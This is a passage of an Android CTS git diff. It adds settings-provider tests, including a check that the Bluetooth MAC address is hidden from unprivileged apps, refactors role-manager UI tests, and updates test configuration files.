+import org.junit.runner.RunWith;
+
+@RunWith(AndroidJUnit4.class)
+public class Settings_SecureTest {
+
+ private static final String NO_SUCH_SETTING = "NoSuchSetting";
+
+ /**
+ * Setting that will have a string value to trigger SettingNotFoundException caused by
+ * NumberFormatExceptions for getInt, getFloat, and getLong.
+ */
+ private static final String STRING_VALUE_SETTING = Secure.ANDROID_ID;
+
+ private ContentResolver cr;
+
+ @Before
+ public void setUp() throws Exception {
+ cr = InstrumentationRegistry.getTargetContext().getContentResolver();
+ assertNotNull(cr);
+ assertSettingsForTests();
+ }
+
+ /** Check that the settings that will be used for testing have proper values. */
+ private void assertSettingsForTests() {
+ assertNull(Secure.getString(cr, NO_SUCH_SETTING));
+
+ String value = Secure.getString(cr, STRING_VALUE_SETTING);
+ assertNotNull(value);
+ try {
+ Integer.parseInt(value);
+ fail("Shouldn't be able to parse this setting's value for later tests.");
+ } catch (NumberFormatException expected) {
+ }
+ }
+
+ @Test
+ public void testGetDefaultValues() {
+ assertEquals(10, Secure.getInt(cr, "int", 10));
+ assertEquals(20, Secure.getLong(cr, "long", 20));
+ assertEquals(30.0f, Secure.getFloat(cr, "float", 30), 0.001);
+ }
+
+ @Test
+ public void testGetPutInt() {
+ assertNull(Secure.getString(cr, NO_SUCH_SETTING));
+
+ try {
+ Secure.putInt(cr, NO_SUCH_SETTING, -1);
+ fail("SecurityException should have been thrown!");
+ } catch (SecurityException expected) {
+ }
+
+ try {
+ Secure.getInt(cr, NO_SUCH_SETTING);
+ fail("SettingNotFoundException should have been thrown!");
+ } catch (SettingNotFoundException expected) {
+ }
+
+ try {
+ Secure.getInt(cr, STRING_VALUE_SETTING);
+ fail("SettingNotFoundException should have been thrown!");
+ } catch (SettingNotFoundException expected) {
+ }
+ }
+
+ @Test
+ public void testGetPutFloat() throws SettingNotFoundException {
+ assertNull(Secure.getString(cr, NO_SUCH_SETTING));
+
+ try {
+ Secure.putFloat(cr, NO_SUCH_SETTING, -1);
+ fail("SecurityException should have been thrown!");
+ } catch (SecurityException expected) {
+ }
+
+ try {
+ Secure.getFloat(cr, NO_SUCH_SETTING);
+ fail("SettingNotFoundException should have been thrown!");
+ } catch (SettingNotFoundException expected) {
+ }
+
+ try {
+ Secure.getFloat(cr, STRING_VALUE_SETTING);
+ fail("SettingNotFoundException should have been thrown!");
+ } catch (SettingNotFoundException expected) {
+ }
+ }
+
+ @Test
+ public void testGetPutLong() {
+ assertNull(Secure.getString(cr, NO_SUCH_SETTING));
+
+ try {
+ Secure.putLong(cr, NO_SUCH_SETTING, -1);
+ fail("SecurityException should have been thrown!");
+ } catch (SecurityException expected) {
+ }
+
+ try {
+ Secure.getLong(cr, NO_SUCH_SETTING);
+ fail("SettingNotFoundException should have been thrown!");
+ } catch (SettingNotFoundException expected) {
+ }
+
+ try {
+ Secure.getLong(cr, STRING_VALUE_SETTING);
+ fail("SettingNotFoundException should have been thrown!");
+ } catch (SettingNotFoundException expected) {
+ }
+ }
+
+ @Test
+ public void testGetPutString() {
+ assertNull(Secure.getString(cr, NO_SUCH_SETTING));
+
+ try {
+ Secure.putString(cr, NO_SUCH_SETTING, "-1");
+ fail("SecurityException should have been thrown!");
+ } catch (SecurityException expected) {
+ }
+
+ assertNotNull(Secure.getString(cr, STRING_VALUE_SETTING));
+
+ assertNull(Secure.getString(cr, NO_SUCH_SETTING));
+ }
+
+ @Test
+ public void testGetUriFor() {
+ String name = "table";
+
+ Uri uri = Secure.getUriFor(name);
+ assertNotNull(uri);
+ assertEquals(Uri.withAppendedPath(Secure.CONTENT_URI, name), uri);
+ }
+
+ @Test
+ public void testUnknownSourcesOnByDefault() throws SettingNotFoundException {
+ assertEquals("install_non_market_apps is deprecated. Should be set to 1 by default.",
+ 1, Settings.Secure.getInt(cr, Settings.Global.INSTALL_NON_MARKET_APPS));
+ }
+
+ private static final String BLUETOOTH_MAC_ADDRESS_SETTING_NAME = "bluetooth_address";
+
+ /**
+ * Asserts that the secure setting containing the Android's Bluetooth MAC address is not
+ * available to non-privileged apps, such as the CTS test app in the context of which this test
+ * runs.
+ */
+ @Test
+ public void testBluetoothAddressNotAvailable() {
+ assertNull(Settings.Secure.getString(cr, BLUETOOTH_MAC_ADDRESS_SETTING_NAME));
+
+ // Assert this setting is not accessible when listing all settings
+ try (Cursor c = cr.query(Settings.Secure.CONTENT_URI, null, null, null, null)) {
+ while ((c != null) && (c.moveToNext())) {
+ String name = c.getString(1);
+ if (BLUETOOTH_MAC_ADDRESS_SETTING_NAME.equals(name)) {
+ fail("Settings.Secure contains " + name + ": " + c.getString(2));
+ }
+ }
+ }
+
+ // Assert this setting is not accessible when listing this specific setting
+ Uri settingUri =
+ Settings.Secure.CONTENT_URI.buildUpon().appendPath("bluetooth_address").build();
+ try (Cursor c = cr.query(settingUri, null, null, null, null)) {
+ while ((c != null) && (c.moveToNext())) {
+ String name = c.getString(1);
+ fail("Settings.Secure contains " + name + ": " + c.getString(2));
+ }
+ }
+ }
+}
diff --git a/tests/tests/provider/src/android/provider/cts/settings/Settings_SettingNotFoundExceptionTest.java b/tests/tests/provider/src/android/provider/cts/settings/Settings_SettingNotFoundExceptionTest.java
new file mode 100644
index 0000000..3fdf062
--- /dev/null
+++ b/tests/tests/provider/src/android/provider/cts/settings/Settings_SettingNotFoundExceptionTest.java
@@ -0,0 +1,33 @@
+/*
+ * Copyright (C) 2008 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.provider.cts.settings;
+
+import android.provider.Settings.SettingNotFoundException;
+
+import androidx.test.runner.AndroidJUnit4;
+
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+@RunWith(AndroidJUnit4.class)
+public class Settings_SettingNotFoundExceptionTest {
+ @Test
+ public void testConstructor() {
+ new SettingNotFoundException("Setting not found exception.");
+ new SettingNotFoundException(null);
+ }
+}
diff --git a/tests/tests/provider/src/android/provider/cts/settings/Settings_SystemTest.java b/tests/tests/provider/src/android/provider/cts/settings/Settings_SystemTest.java
new file mode 100644
index 0000000..1af29a2
--- /dev/null
+++ b/tests/tests/provider/src/android/provider/cts/settings/Settings_SystemTest.java
@@ -0,0 +1,157 @@
+/*
+ * Copyright (C) 2008 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.provider.cts.settings;
+
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertNotNull;
+import static org.junit.Assert.assertTrue;
+
+import android.content.ContentResolver;
+import android.content.res.Configuration;
+import android.database.Cursor;
+import android.net.Uri;
+import android.os.SystemClock;
+import android.provider.Settings;
+import android.provider.Settings.SettingNotFoundException;
+import android.provider.Settings.System;
+
+import androidx.test.InstrumentationRegistry;
+import androidx.test.runner.AndroidJUnit4;
+
+import org.junit.AfterClass;
+import org.junit.BeforeClass;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+@RunWith(AndroidJUnit4.class)
+public class Settings_SystemTest {
+ private static final String INT_FIELD = System.END_BUTTON_BEHAVIOR;
+ private static final String LONG_FIELD = System.SCREEN_OFF_TIMEOUT;
+ private static final String FLOAT_FIELD = System.FONT_SCALE;
+ private static final String STRING_FIELD = System.NEXT_ALARM_FORMATTED;
+
+ @BeforeClass
+ public static void setUp() throws Exception {
+ final String packageName = InstrumentationRegistry.getTargetContext().getPackageName();
+ InstrumentationRegistry.getInstrumentation().getUiAutomation().executeShellCommand(
+ "appops set " + packageName + " android:write_settings allow");
+
+ // Wait a beat to persist the change
+ SystemClock.sleep(500);
+ }
+
+ @AfterClass
+ public static void tearDown() throws Exception {
+ final String packageName = InstrumentationRegistry.getTargetContext().getPackageName();
+ InstrumentationRegistry.getInstrumentation().getUiAutomation().executeShellCommand(
+ "appops set " + packageName + " android:write_settings default");
+ }
+
+ @Test
+ public void testSystemSettings() throws SettingNotFoundException {
+ final ContentResolver cr = InstrumentationRegistry.getTargetContext().getContentResolver();
+
+ /**
+ * first query the existing settings in System table, and then insert four
+ * rows: an int, a long, a float, a String.
+ * Get these four rows to check whether insert succeeded and then restore the original
+ * values.
+ */
+
+ // first query existing rows
+ Cursor c = cr.query(System.CONTENT_URI, null, null, null, null);
+
+ // backup fontScale
+ Configuration cfg = new Configuration();
+ System.getConfiguration(cr, cfg);
+ float store = cfg.fontScale;
+
+ //store all original values
+ final String originalIntValue = System.getString(cr, INT_FIELD);
+ final String originalLongValue = System.getString(cr, LONG_FIELD);
+ final String originalStringValue = System.getString(cr, STRING_FIELD);
+
+ try {
+ assertNotNull(c);
+ c.close();
+
+ String stringValue = "cts";
+
+ // insert 4 rows, and update 1 rows
+ assertTrue(System.putInt(cr, INT_FIELD, 2));
+ assertTrue(System.putLong(cr, LONG_FIELD, 20l));
+ assertTrue(System.putFloat(cr, FLOAT_FIELD, 30.0f));
+ assertTrue(System.putString(cr, STRING_FIELD, stringValue));
+
+ c = cr.query(System.CONTENT_URI, null, null, null, null);
+ assertNotNull(c);
+ c.close();
+
+ // get these rows to assert
+ assertEquals(2, System.getInt(cr, INT_FIELD));
+ assertEquals(20l, System.getLong(cr, LONG_FIELD));
+ assertEquals(30.0f, System.getFloat(cr, FLOAT_FIELD), 0.001);
+ assertEquals(stringValue, System.getString(cr, STRING_FIELD));
+
+ c = cr.query(System.CONTENT_URI, null, null, null, null);
+ assertNotNull(c);
+
+ // update fontScale row
+ cfg = new Configuration();
+ cfg.fontScale = 1.2f;
+ assertTrue(System.putConfiguration(cr, cfg));
+
+ System.getConfiguration(cr, cfg);
+ assertEquals(1.2f, cfg.fontScale, 0.001);
+ } finally {
+ // TODO should clean up more better
+ c.close();
+
+ //Restore all original values into system
+ assertTrue(System.putString(cr, INT_FIELD, originalIntValue));
+ assertTrue(System.putString(cr, LONG_FIELD, originalLongValue));
+ assertTrue(System.putString(cr, STRING_FIELD, originalStringValue));
+
+ // restore the fontScale
+ try {
+ // Delay helps ActivityManager in completing its previous font-change processing.
+ Thread.sleep(1000);
+ } catch (Exception e){}
+
+ cfg.fontScale = store;
+ assertTrue(System.putConfiguration(cr, cfg));
+ }
+ }
+
+ @Test
+ public void testGetDefaultValues() {
+ final ContentResolver cr = InstrumentationRegistry.getTargetContext().getContentResolver();
+
+ assertEquals(10, System.getInt(cr, "int", 10));
+ assertEquals(20, System.getLong(cr, "long", 20l));
+ assertEquals(30.0f, System.getFloat(cr, "float", 30.0f), 0.001);
+ }
+
+ @Test
+ public void testGetUriFor() {
+ String name = "table";
+
+ Uri uri = System.getUriFor(name);
+ assertNotNull(uri);
+ assertEquals(Uri.withAppendedPath(System.CONTENT_URI, name), uri);
+ }
+}
diff --git a/tests/tests/renderscript/OWNERS b/tests/tests/renderscript/OWNERS
new file mode 100644
index 0000000..d61905a
--- /dev/null
+++ b/tests/tests/renderscript/OWNERS
@@ -0,0 +1,2 @@
+# Bug component: 43047
+include platform/frameworks/rs:/OWNERS
diff --git a/tests/tests/role/Android.bp b/tests/tests/role/Android.bp
index 72b89ef..7a97ed0 100644
--- a/tests/tests/role/Android.bp
+++ b/tests/tests/role/Android.bp
@@ -24,7 +24,7 @@
"androidx.test.rules",
"compatibility-device-util-axt",
"ctstestrunner-axt",
- "truth-prebuilt"
+ "truth-prebuilt",
],
test_suites: [
@@ -33,4 +33,9 @@
"general-tests",
"mts",
],
+
+ data: [
+ ":CtsRoleTestApp",
+ ":CtsRoleTestApp28",
+ ],
}
diff --git a/tests/tests/role/CtsRoleTestApp/Android.bp b/tests/tests/role/CtsRoleTestApp/Android.bp
index 74c1b76..ac9a6c1 100644
--- a/tests/tests/role/CtsRoleTestApp/Android.bp
+++ b/tests/tests/role/CtsRoleTestApp/Android.bp
@@ -19,10 +19,4 @@
srcs: [
"src/**/*.java"
],
-
- test_suites: [
- "cts",
- "vts",
- "general-tests",
- ]
}
diff --git a/tests/tests/role/CtsRoleTestApp28/Android.bp b/tests/tests/role/CtsRoleTestApp28/Android.bp
index 0d89f4e..0e82deb 100644
--- a/tests/tests/role/CtsRoleTestApp28/Android.bp
+++ b/tests/tests/role/CtsRoleTestApp28/Android.bp
@@ -19,10 +19,4 @@
srcs: [
"src/**/*.java"
],
-
- test_suites: [
- "cts",
- "vts",
- "general-tests",
- ]
}
diff --git a/tests/tests/role/src/android/app/role/cts/RoleManagerTest.java b/tests/tests/role/src/android/app/role/cts/RoleManagerTest.java
index 3d96ab3..feefe08 100644
--- a/tests/tests/role/src/android/app/role/cts/RoleManagerTest.java
+++ b/tests/tests/role/src/android/app/role/cts/RoleManagerTest.java
@@ -19,6 +19,9 @@
import static com.android.compatibility.common.util.SystemUtil.callWithShellPermissionIdentity;
import static com.android.compatibility.common.util.SystemUtil.runShellCommand;
import static com.android.compatibility.common.util.SystemUtil.runWithShellPermissionIdentity;
+import static com.android.compatibility.common.util.UiAutomatorUtils.waitFindObject;
+import static com.android.compatibility.common.util.UiAutomatorUtils.waitFindObjectOrNull;
+
import static com.google.common.truth.Truth.assertThat;
import static org.junit.Assert.fail;
@@ -36,13 +39,13 @@
import android.content.pm.PermissionInfo;
import android.os.Process;
import android.os.UserHandle;
+import android.provider.Settings;
import android.provider.Telephony;
import android.support.test.uiautomator.By;
-import android.support.test.uiautomator.UiDevice;
+import android.support.test.uiautomator.BySelector;
import android.support.test.uiautomator.UiObject2;
-import android.support.test.uiautomator.Until;
+import android.support.test.uiautomator.UiObjectNotFoundException;
import android.telecom.TelecomManager;
-import android.util.Log;
import android.util.Pair;
import androidx.annotation.NonNull;
@@ -55,6 +58,7 @@
import com.android.compatibility.common.util.AppOpsUtils;
import com.android.compatibility.common.util.TestUtils;
import com.android.compatibility.common.util.ThrowingRunnable;
+import com.android.compatibility.common.util.UiAutomatorUtils;
import org.junit.After;
import org.junit.Before;
@@ -62,9 +66,7 @@
import org.junit.Test;
import org.junit.runner.RunWith;
-import java.io.ByteArrayOutputStream;
import java.io.IOException;
-import java.nio.charset.StandardCharsets;
import java.util.Collections;
import java.util.List;
import java.util.Objects;
@@ -86,6 +88,7 @@
private static final long UNEXPECTED_TIMEOUT_MILLIS = 1000;
private static final String ROLE_NAME = RoleManager.ROLE_BROWSER;
+ private static final String ROLE_SHORT_LABEL = "Browser app";
private static final String APP_APK_PATH = "/data/local/tmp/cts/role/CtsRoleTestApp.apk";
private static final String APP_PACKAGE_NAME = "android.app.role.cts.app";
@@ -116,7 +119,6 @@
private static final Context sContext = InstrumentationRegistry.getTargetContext();
private static final PackageManager sPackageManager = sContext.getPackageManager();
private static final RoleManager sRoleManager = sContext.getSystemService(RoleManager.class);
- private static final UiDevice sUiDevice = UiDevice.getInstance(sInstrumentation);
@Rule
public ActivityTestRule<WaitForResultActivity> mActivityRule =
@@ -163,6 +165,11 @@
runShellCommand(sInstrumentation, "input keyevent KEYCODE_WAKEUP");
}
+ @Before
+ public void closeNotificationShade() {
+ sContext.sendBroadcast(new Intent(Intent.ACTION_CLOSE_SYSTEM_DIALOGS));
+ }
+
@Test
public void requestRoleIntentHasPermissionControllerPackage() throws Exception {
Intent intent = sRoleManager.createRequestRoleIntent(ROLE_NAME);
@@ -265,12 +272,20 @@
// Wait for the don't ask again to be forgotten.
Thread.sleep(2000);
- requestRole(ROLE_NAME);
- UiObject2 dontAskAgainCheck = findDontAskAgainCheck(false);
+ TestUtils.waitUntil("Find and respond to request role UI", () -> {
+ requestRole(ROLE_NAME);
+ UiObject2 cancelButton = waitFindObjectOrNull(By.res("android:id/button2"));
+ if (cancelButton == null) {
+ // Dialog not found, try again later.
+ return false;
+ }
+ UiObject2 dontAskAgainCheck = findDontAskAgainCheck(false);
- assertThat(dontAskAgainCheck).isNull();
+ assertThat(dontAskAgainCheck).isNull();
- respondToRoleRequest(false);
+ respondToRoleRequest(false);
+ return true;
+ });
}
@FlakyTest
@@ -289,12 +304,20 @@
Thread.sleep(2000);
installPackage(APP_APK_PATH);
- requestRole(ROLE_NAME);
- UiObject2 dontAskAgainCheck = findDontAskAgainCheck(false);
+ TestUtils.waitUntil("Find and respond to request role UI", () -> {
+ requestRole(ROLE_NAME);
+ UiObject2 cancelButton = waitFindObjectOrNull(By.res("android:id/button2"));
+ if (cancelButton == null) {
+ // Dialog not found, try again later.
+ return false;
+ }
+ UiObject2 dontAskAgainCheck = findDontAskAgainCheck(false);
- assertThat(dontAskAgainCheck).isNull();
+ assertThat(dontAskAgainCheck).isNull();
- respondToRoleRequest(false);
+ respondToRoleRequest(false);
+ return true;
+ });
}
@Test
@@ -312,15 +335,10 @@
mActivityRule.getActivity().startActivityToWaitForResult(intent);
}
- private void respondToRoleRequest(boolean allow) throws InterruptedException, IOException {
+ private void respondToRoleRequest(boolean allow)
+ throws InterruptedException, UiObjectNotFoundException {
if (allow) {
- UiObject2 item = sUiDevice.wait(Until.findObject(By.text(APP_PACKAGE_NAME)),
- TIMEOUT_MILLIS);
- if (item == null) {
- dumpWindowHierarchy();
- fail("Cannot find item to click");
- }
- item.click();
+ waitFindObject(By.text(APP_PACKAGE_NAME)).click();
}
Pair<Integer, Intent> result = clickButtonAndWaitForResult(allow);
int expectedResult = allow ? Activity.RESULT_OK : Activity.RESULT_CANCELED;
@@ -329,41 +347,25 @@
}
@Nullable
- private UiObject2 findDontAskAgainCheck(boolean expected) {
- return sUiDevice.wait(Until.findObject(By.text("Don\u2019t ask again")), expected
- ? TIMEOUT_MILLIS : UNEXPECTED_TIMEOUT_MILLIS);
+ private UiObject2 findDontAskAgainCheck(boolean expected) throws UiObjectNotFoundException {
+ BySelector selector = By.text("Don\u2019t ask again");
+ return expected
+ ? waitFindObject(selector)
+ : waitFindObjectOrNull(selector, UNEXPECTED_TIMEOUT_MILLIS);
}
@Nullable
- private UiObject2 findDontAskAgainCheck() {
+ private UiObject2 findDontAskAgainCheck() throws UiObjectNotFoundException {
return findDontAskAgainCheck(true);
}
@NonNull
- private Pair<Integer, Intent> clickButtonAndWaitForResult(boolean positive) throws IOException,
- InterruptedException {
- String buttonId = positive ? "android:id/button1" : "android:id/button2";
- UiObject2 button = sUiDevice.wait(Until.findObject(By.res(buttonId)), TIMEOUT_MILLIS);
- if (button == null) {
- dumpWindowHierarchy();
- fail("Cannot find button to click");
- }
- button.click();
+ private Pair<Integer, Intent> clickButtonAndWaitForResult(boolean positive)
+ throws InterruptedException, UiObjectNotFoundException {
+ waitFindObject(By.res(positive ? "android:id/button1" : "android:id/button2")).click();
return waitForResult();
}
- private void dumpWindowHierarchy() throws InterruptedException, IOException {
- ByteArrayOutputStream outputStream = new ByteArrayOutputStream();
- sUiDevice.dumpWindowHierarchy(outputStream);
- String windowHierarchy = outputStream.toString(StandardCharsets.UTF_8.name());
-
- Log.w(LOG_TAG, "Window hierarchy:");
- for (String line : windowHierarchy.split("\n")) {
- Thread.sleep(10);
- Log.w(LOG_TAG, line);
- }
- }
-
@NonNull
private Pair<Integer, Intent> waitForResult() throws InterruptedException {
return mActivityRule.getActivity().waitForActivityResult(TIMEOUT_MILLIS);
@@ -408,7 +410,6 @@
assertThat(result.first).isEqualTo(Activity.RESULT_CANCELED);
}
- @FlakyTest
@Test
public void targetSdk28AndChangeDefaultDialerAndAllowThenIsDefaultDialer() throws Exception {
assumeTrue(sRoleManager.isRoleAvailable(RoleManager.ROLE_DIALER));
@@ -417,13 +418,13 @@
APP_28_CHANGE_DEFAULT_DIALER_ACTIVITY_NAME))
.putExtra(Intent.EXTRA_PACKAGE_NAME, APP_28_PACKAGE_NAME)
.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK));
- allowRoleRequestForApp28();
+ waitFindObject(By.text(APP_28_LABEL)).click();
+ waitFindObject(By.res("android:id/button1")).click();
TelecomManager telecomManager = sContext.getSystemService(TelecomManager.class);
TestUtils.waitUntil("App is not set as default dialer app", () -> Objects.equals(
telecomManager.getDefaultDialerPackage(), APP_28_PACKAGE_NAME));
}
- @FlakyTest
@Test
public void targetSdk28AndChangeDefaultSmsAndAllowThenIsDefaultSms() throws Exception {
assumeTrue(sRoleManager.isRoleAvailable(RoleManager.ROLE_SMS));
@@ -432,25 +433,138 @@
APP_28_CHANGE_DEFAULT_SMS_ACTIVITY_NAME))
.putExtra(Intent.EXTRA_PACKAGE_NAME, APP_28_PACKAGE_NAME)
.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK));
- allowRoleRequestForApp28();
+ waitFindObject(By.text(APP_28_LABEL)).click();
+ waitFindObject(By.res("android:id/button1")).click();
TestUtils.waitUntil("App is not set as default sms app", () -> Objects.equals(
Telephony.Sms.getDefaultSmsPackage(sContext), APP_28_PACKAGE_NAME));
}
- private void allowRoleRequestForApp28() throws InterruptedException, IOException {
- UiObject2 item = sUiDevice.wait(Until.findObject(By.text(APP_28_LABEL)), TIMEOUT_MILLIS);
- if (item == null) {
- dumpWindowHierarchy();
- fail("Cannot find item to click");
- }
- item.click();
- UiObject2 button = sUiDevice.wait(Until.findObject(By.res("android:id/button1")),
- TIMEOUT_MILLIS);
- if (button == null) {
- dumpWindowHierarchy();
- fail("Cannot find button to click");
- }
- button.click();
+ @Test
+ public void openDefaultAppDetailsThenIsNotDefaultApp() throws Exception {
+ runWithShellPermissionIdentity(() -> sContext.startActivity(new Intent(
+ Intent.ACTION_MANAGE_DEFAULT_APP)
+ .addCategory(Intent.CATEGORY_DEFAULT)
+ .putExtra(Intent.EXTRA_ROLE_NAME, ROLE_NAME)
+ .addFlags(Intent.FLAG_ACTIVITY_NEW_TASK
+ | Intent.FLAG_ACTIVITY_CLEAR_TASK)));
+
+ waitFindObject(By.clickable(true).hasDescendant(By.checkable(true).checked(false))
+ .hasDescendant(By.text(APP_PACKAGE_NAME)));
+
+ pressBack();
+ }
+
+ @Test
+ public void openDefaultAppDetailsAndSetDefaultAppThenIsDefaultApp() throws Exception {
+ runWithShellPermissionIdentity(() -> sContext.startActivity(new Intent(
+ Intent.ACTION_MANAGE_DEFAULT_APP)
+ .addCategory(Intent.CATEGORY_DEFAULT)
+ .putExtra(Intent.EXTRA_ROLE_NAME, ROLE_NAME)
+ .addFlags(Intent.FLAG_ACTIVITY_NEW_TASK
+ | Intent.FLAG_ACTIVITY_CLEAR_TASK)));
+ waitForIdle();
+ waitFindObject(By.clickable(true).hasDescendant(By.checkable(true).checked(false))
+ .hasDescendant(By.text(APP_PACKAGE_NAME))).click();
+
+ waitFindObject(By.clickable(true).hasDescendant(By.checkable(true).checked(true))
+ .hasDescendant(By.text(APP_PACKAGE_NAME)));
+ assertIsRoleHolder(ROLE_NAME, APP_PACKAGE_NAME, true);
+
+ pressBack();
+ }
+
+ @Test
+ public void openDefaultAppDetailsAndSetDefaultAppAndSetAnotherThenIsNotDefaultApp()
+ throws Exception {
+ runWithShellPermissionIdentity(() -> sContext.startActivity(new Intent(
+ Intent.ACTION_MANAGE_DEFAULT_APP)
+ .addCategory(Intent.CATEGORY_DEFAULT)
+ .putExtra(Intent.EXTRA_ROLE_NAME, ROLE_NAME)
+ .addFlags(Intent.FLAG_ACTIVITY_NEW_TASK
+ | Intent.FLAG_ACTIVITY_CLEAR_TASK)));
+ waitForIdle();
+ waitFindObject(By.clickable(true).hasDescendant(By.checkable(true).checked(false))
+ .hasDescendant(By.text(APP_PACKAGE_NAME))).click();
+ waitFindObject(By.clickable(true).hasDescendant(By.checkable(true).checked(true))
+ .hasDescendant(By.text(APP_PACKAGE_NAME)));
+ waitForIdle();
+ waitFindObject(By.clickable(true).hasDescendant(By.checkable(true).checked(false))).click();
+
+ waitFindObject(By.clickable(true).hasDescendant(By.checkable(true).checked(false))
+ .hasDescendant(By.text(APP_PACKAGE_NAME)));
+ assertIsRoleHolder(ROLE_NAME, APP_PACKAGE_NAME, false);
+
+ pressBack();
+ }
+
+ @Test
+ public void openDefaultAppListThenHasDefaultApp() throws Exception {
+ sContext.startActivity(new Intent(Settings.ACTION_MANAGE_DEFAULT_APPS_SETTINGS)
+ .addCategory(Intent.CATEGORY_DEFAULT)
+ .addFlags(Intent.FLAG_ACTIVITY_NEW_TASK | Intent.FLAG_ACTIVITY_CLEAR_TASK));
+
+ waitFindObject(By.text(ROLE_SHORT_LABEL));
+
+ pressBack();
+ }
+
+ @Test
+ public void openDefaultAppListThenIsNotDefaultAppInList() throws Exception {
+ sContext.startActivity(new Intent(Settings.ACTION_MANAGE_DEFAULT_APPS_SETTINGS)
+ .addCategory(Intent.CATEGORY_DEFAULT)
+ .addFlags(Intent.FLAG_ACTIVITY_NEW_TASK | Intent.FLAG_ACTIVITY_CLEAR_TASK));
+
+ assertThat(waitFindObjectOrNull(By.text(APP_PACKAGE_NAME), UNEXPECTED_TIMEOUT_MILLIS))
+ .isNull();
+
+ pressBack();
+ }
+
+ @Test
+ public void openDefaultAppListAndSetDefaultAppThenIsDefaultApp() throws Exception {
+ sContext.startActivity(new Intent(Settings.ACTION_MANAGE_DEFAULT_APPS_SETTINGS)
+ .addCategory(Intent.CATEGORY_DEFAULT)
+ .addFlags(Intent.FLAG_ACTIVITY_NEW_TASK | Intent.FLAG_ACTIVITY_CLEAR_TASK));
+ waitForIdle();
+ waitFindObject(By.text(ROLE_SHORT_LABEL)).click();
+ waitForIdle();
+ waitFindObject(By.clickable(true).hasDescendant(By.checkable(true).checked(false))
+ .hasDescendant(By.text(APP_PACKAGE_NAME))).click();
+
+ waitFindObject(By.clickable(true).hasDescendant(By.checkable(true).checked(true))
+ .hasDescendant(By.text(APP_PACKAGE_NAME)));
+ assertIsRoleHolder(ROLE_NAME, APP_PACKAGE_NAME, true);
+
+ pressBack();
+ pressBack();
+ }
+
+ @Test
+ public void openDefaultAppListAndSetDefaultAppThenIsDefaultAppInList() throws Exception {
+ sContext.startActivity(new Intent(Settings.ACTION_MANAGE_DEFAULT_APPS_SETTINGS)
+ .addCategory(Intent.CATEGORY_DEFAULT)
+ .addFlags(Intent.FLAG_ACTIVITY_NEW_TASK | Intent.FLAG_ACTIVITY_CLEAR_TASK));
+ waitForIdle();
+ waitFindObject(By.text(ROLE_SHORT_LABEL)).click();
+ waitForIdle();
+ waitFindObject(By.clickable(true).hasDescendant(By.checkable(true).checked(false))
+ .hasDescendant(By.text(APP_PACKAGE_NAME))).click();
+ waitFindObject(By.clickable(true).hasDescendant(By.checkable(true).checked(true))
+ .hasDescendant(By.text(APP_PACKAGE_NAME)));
+ pressBack();
+
+ waitFindObject(By.text(APP_PACKAGE_NAME));
+
+ pressBack();
+ }
+
+ private static void waitForIdle() {
+ UiAutomatorUtils.getUiDevice().waitForIdle();
+ }
+
+ private static void pressBack() {
+ UiAutomatorUtils.getUiDevice().pressBack();
+ waitForIdle();
}
@Test
@@ -629,7 +743,7 @@
}
@Test
- public void manageRoleFromsFromControllerPermissionShouldBeDeclaredByPermissionController()
+ public void manageRolesFromControllerPermissionShouldBeDeclaredByPermissionController()
throws PackageManager.NameNotFoundException {
PermissionInfo permissionInfo = sPackageManager.getPermissionInfo(
PERMISSION_MANAGE_ROLES_FROM_CONTROLLER, 0);
diff --git a/tests/tests/rsblas/AndroidTest.xml b/tests/tests/rsblas/AndroidTest.xml
index f173521..542e45c 100644
--- a/tests/tests/rsblas/AndroidTest.xml
+++ b/tests/tests/rsblas/AndroidTest.xml
@@ -18,6 +18,7 @@
<option name="config-descriptor:metadata" key="component" value="renderscript" />
<option name="config-descriptor:metadata" key="parameter" value="not_instant_app" />
<option name="config-descriptor:metadata" key="parameter" value="multi_abi" />
+ <option name="config-descriptor:metadata" key="parameter" value="secondary_user" />
<target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
<option name="cleanup-apks" value="true" />
<option name="test-file-name" value="CtsRsBlasTestCases.apk" />
diff --git a/tests/tests/rscpp/AndroidTest.xml b/tests/tests/rscpp/AndroidTest.xml
index edb9949e..4ee236a 100644
--- a/tests/tests/rscpp/AndroidTest.xml
+++ b/tests/tests/rscpp/AndroidTest.xml
@@ -18,6 +18,7 @@
<option name="config-descriptor:metadata" key="component" value="renderscript" />
<option name="config-descriptor:metadata" key="parameter" value="not_instant_app" />
<option name="config-descriptor:metadata" key="parameter" value="multi_abi" />
+ <option name="config-descriptor:metadata" key="parameter" value="secondary_user" />
<target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
<option name="cleanup-apks" value="true" />
<option name="test-file-name" value="CtsRsCppTestCases.apk" />
diff --git a/tests/tests/sax/AndroidTest.xml b/tests/tests/sax/AndroidTest.xml
index a9c5ba7..e21020a 100644
--- a/tests/tests/sax/AndroidTest.xml
+++ b/tests/tests/sax/AndroidTest.xml
@@ -17,6 +17,9 @@
<option name="test-suite-tag" value="cts" />
<option name="config-descriptor:metadata" key="component" value="framework" />
<option name="config-descriptor:metadata" key="parameter" value="multi_abi" />
+ <!-- Test is eligible to run on Android Multiuser users other than SYSTEM.
+ See source.android.com/devices/tech/admin/multi-user#user_types -->
+ <option name="config-descriptor:metadata" key="parameter" value="secondary_user" />
<option name="config-descriptor:metadata" key="parameter" value="not_instant_app" />
<option name="not-shardable" value="true" />
